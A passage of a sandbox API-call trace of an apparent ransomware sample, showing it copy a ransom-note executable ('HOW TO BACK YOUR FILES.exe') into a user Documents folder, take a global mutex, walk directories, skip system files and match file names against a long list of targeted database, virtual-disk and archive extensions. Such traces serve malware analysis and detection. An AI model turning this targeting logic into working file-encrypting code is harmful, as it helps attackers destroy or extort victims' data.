hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.606] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.606] CloseHandle (hObject=0x154) returned 1 [0053.607] CloseHandle (hObject=0x17c) returned 1 [0053.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a8 | out: hHeap=0x4f0000) returned 1 [0053.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0053.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.607] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.607] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.607] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.607] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.607] ReleaseMutex (hMutex=0xec) returned 1 [0053.607] CloseHandle (hObject=0xec) returned 1 [0053.607] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Documents" | out: lpString1="C:\\Documents and Settings\\Default\\Documents") returned="C:\\Documents and Settings\\Default\\Documents" [0053.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528830 | out: hHeap=0x4f0000) returned 1 [0053.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c788 | out: hHeap=0x4f0000) returned 1 [0053.607] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Documents") returned 43 [0053.607] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9FC0C78763C7FEB2187FC4F9191B08FC") returned 0xec [0053.607] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.607] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Documents" | out: lpString1="C:\\Documents and Settings\\Default\\Documents") returned="C:\\Documents and Settings\\Default\\Documents" [0053.607] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.607] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.608] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.608] GetLastError () returned 0x0 [0053.608] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.608] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.609] CloseHandle (hObject=0xf4) returned 1 [0053.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.609] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.609] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.609] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.609] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.609] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.609] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.609] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.609] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.609] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.609] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.609] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.609] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.609] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.610] lstrlenW (lpString="desktop.ini") returned 11 [0053.610] lstrcpyW (in: lpString1=0x241e8a0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.610] lstrlenW (lpString="desktop.ini") returned 11 [0053.610] lstrlenW (lpString="Athena865") returned 9 [0053.610] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.610] lstrlenW (lpString=".dll") returned 4 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.610] lstrlenW (lpString=".lnk") returned 4 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.610] lstrlenW (lpString=".ini") returned 4 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.610] lstrlenW (lpString=".sys") returned 4 [0053.610] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.610] lstrlenW (lpString="desktop.ini") returned 11 [0053.610] lstrlenW (lpString="bak") returned 3 [0053.610] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.610] lstrlenW (lpString="ba_") returned 3 [0053.610] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.610] lstrlenW (lpString="dbb") returned 3 [0053.610] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.610] lstrlenW (lpString="vmdk") returned 4 [0053.611] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.611] lstrlenW (lpString="rar") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.611] lstrlenW (lpString="zip") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.611] lstrlenW (lpString="tgz") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.611] lstrlenW (lpString="vbox") returned 4 [0053.611] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.611] lstrlenW (lpString="vdi") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.611] lstrlenW (lpString="vhd") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.611] lstrlenW (lpString="vhdx") returned 4 [0053.611] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.611] lstrlenW (lpString="avhd") returned 4 [0053.611] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.611] lstrlenW (lpString="db") returned 2 [0053.611] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.611] lstrlenW (lpString="db2") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.611] lstrlenW (lpString="db3") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.611] lstrlenW (lpString="dbf") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.611] lstrlenW (lpString="mdf") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.611] lstrlenW (lpString="mdb") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.611] lstrlenW (lpString="sql") returned 3 [0053.611] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.611] lstrlenW (lpString="sqlite") returned 6 [0053.612] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.612] lstrlenW (lpString="sqlite3") returned 7 [0053.612] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.612] lstrlenW (lpString="sqlitedb") returned 8 [0053.612] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.612] lstrlenW (lpString="xml") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.612] lstrlenW (lpString="$er") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.612] lstrlenW (lpString="4dd") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.612] lstrlenW (lpString="4dl") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.612] lstrlenW (lpString="^^^") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.612] lstrlenW (lpString="abs") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.612] lstrlenW (lpString="abx") returned 3 [0053.612] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.612] lstrlenW (lpString="accdb") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.612] lstrlenW (lpString="accdc") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.612] lstrlenW (lpString="accde") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.612] lstrlenW (lpString="accdr") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.612] lstrlenW (lpString="accdt") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.612] lstrlenW (lpString="accdw") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.612] lstrlenW (lpString="accft") returned 5 [0053.612] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.612] lstrlenW (lpString="adb") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.613] lstrlenW (lpString="adb") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.613] lstrlenW (lpString="ade") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.613] lstrlenW (lpString="adf") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.613] lstrlenW (lpString="adn") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.613] lstrlenW (lpString="adp") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.613] lstrlenW (lpString="alf") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.613] lstrlenW (lpString="ask") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.613] lstrlenW (lpString="btr") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.613] lstrlenW (lpString="cat") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.613] lstrlenW (lpString="cdb") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.613] lstrlenW (lpString="ckp") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.613] lstrlenW (lpString="cma") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.613] lstrlenW (lpString="cpd") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.613] lstrlenW (lpString="dacpac") returned 6 [0053.613] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.613] lstrlenW (lpString="dad") returned 3 [0053.613] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.613] lstrlenW (lpString="dadiagrams") returned 10 [0053.613] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.614] lstrlenW (lpString="daschema") returned 8 [0053.614] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.614] lstrlenW (lpString="db-journal") returned 10 [0053.614] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.614] lstrlenW (lpString="db-shm") returned 6 [0053.614] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.614] lstrlenW (lpString="db-wal") returned 6 [0053.614] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.614] lstrlenW (lpString="dbc") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.614] lstrlenW (lpString="dbs") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.614] lstrlenW (lpString="dbt") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.614] lstrlenW (lpString="dbv") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.614] lstrlenW (lpString="dbx") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.614] lstrlenW (lpString="dcb") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.614] lstrlenW (lpString="dct") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.614] lstrlenW (lpString="dcx") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.614] lstrlenW (lpString="ddl") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.614] lstrlenW (lpString="dlis") returned 4 [0053.614] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.614] lstrlenW (lpString="dp1") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.614] lstrlenW (lpString="dqy") returned 3 [0053.614] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.614] lstrlenW (lpString="dsk") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.615] lstrlenW (lpString="dsn") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.615] lstrlenW (lpString="dtsx") returned 4 [0053.615] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.615] lstrlenW (lpString="dxl") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.615] lstrlenW (lpString="eco") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.615] lstrlenW (lpString="ecx") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.615] lstrlenW (lpString="edb") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.615] lstrlenW (lpString="epim") returned 4 [0053.615] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.615] lstrlenW (lpString="fcd") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.615] lstrlenW (lpString="fdb") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.615] lstrlenW (lpString="fic") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.615] lstrlenW (lpString="flexolibrary") returned 12 [0053.615] lstrlenW (lpString="fm5") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.615] lstrlenW (lpString="fmp") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.615] lstrlenW (lpString="fmp12") returned 5 [0053.615] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.615] lstrlenW (lpString="fmpsl") returned 5 [0053.615] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.615] lstrlenW (lpString="fol") returned 3 [0053.615] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.615] lstrlenW (lpString="fp3") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.616] lstrlenW (lpString="fp4") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.616] lstrlenW (lpString="fp5") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.616] lstrlenW (lpString="fp7") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.616] lstrlenW (lpString="fpt") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.616] lstrlenW (lpString="frm") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.616] lstrlenW (lpString="gdb") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.616] lstrlenW (lpString="gdb") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.616] lstrlenW (lpString="grdb") returned 4 [0053.616] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.616] lstrlenW (lpString="gwi") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.616] lstrlenW (lpString="hdb") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.616] lstrlenW (lpString="his") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.616] lstrlenW (lpString="ib") returned 2 [0053.616] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.616] lstrlenW (lpString="idb") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.616] lstrlenW (lpString="ihx") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.616] lstrlenW (lpString="itdb") returned 4 [0053.616] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.616] lstrlenW (lpString="itw") returned 3 [0053.616] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.616] lstrlenW (lpString="jet") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.617] lstrlenW (lpString="jtx") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.617] lstrlenW (lpString="kdb") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.617] lstrlenW (lpString="kexi") returned 4 [0053.617] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.617] lstrlenW (lpString="kexic") returned 5 [0053.617] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.617] lstrlenW (lpString="kexis") returned 5 [0053.617] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.617] lstrlenW (lpString="lgc") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.617] lstrlenW (lpString="lwx") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.617] lstrlenW (lpString="maf") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.617] lstrlenW (lpString="maq") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.617] lstrlenW (lpString="mar") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.617] lstrlenW (lpString="marshal") returned 7 [0053.617] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.617] lstrlenW (lpString="mas") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.617] lstrlenW (lpString="mav") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.617] lstrlenW (lpString="maw") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.617] lstrlenW (lpString="mdbhtml") returned 7 [0053.617] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.617] lstrlenW (lpString="mdn") returned 3 [0053.617] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.618] lstrlenW (lpString="mdt") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.618] lstrlenW (lpString="mfd") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.618] lstrlenW (lpString="mpd") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.618] lstrlenW (lpString="mrg") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.618] lstrlenW (lpString="mud") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.618] lstrlenW (lpString="mwb") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.618] lstrlenW (lpString="myd") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.618] lstrlenW (lpString="ndf") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.618] lstrlenW (lpString="nnt") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.618] lstrlenW (lpString="nrmlib") returned 6 [0053.618] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.618] lstrlenW (lpString="ns2") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.618] lstrlenW (lpString="ns3") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.618] lstrlenW (lpString="ns4") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.618] lstrlenW (lpString="nsf") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.618] lstrlenW (lpString="nv") returned 2 [0053.618] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.618] lstrlenW (lpString="nv2") returned 3 [0053.618] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.618] lstrlenW (lpString="nwdb") returned 4 [0053.619] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.619] lstrlenW (lpString="nyf") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.619] lstrlenW (lpString="odb") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.619] lstrlenW (lpString="odb") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.619] lstrlenW (lpString="oqy") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.619] lstrlenW (lpString="ora") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.619] lstrlenW (lpString="orx") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.619] lstrlenW (lpString="owc") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.619] lstrlenW (lpString="p96") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.619] lstrlenW (lpString="p97") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.619] lstrlenW (lpString="pan") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.619] lstrlenW (lpString="pdb") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.619] lstrlenW (lpString="pdm") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.619] lstrlenW (lpString="pnz") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.619] lstrlenW (lpString="qry") returned 3 [0053.619] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.620] lstrlenW (lpString="qvd") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.620] lstrlenW (lpString="rbf") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.620] lstrlenW (lpString="rctd") returned 4 [0053.620] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.620] lstrlenW (lpString="rod") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.620] lstrlenW (lpString="rodx") returned 4 [0053.620] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.620] lstrlenW (lpString="rpd") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.620] lstrlenW (lpString="rsd") returned 3 [0053.620] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.620] lstrlenW (lpString="sas7bdat") returned 8 [0053.620] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 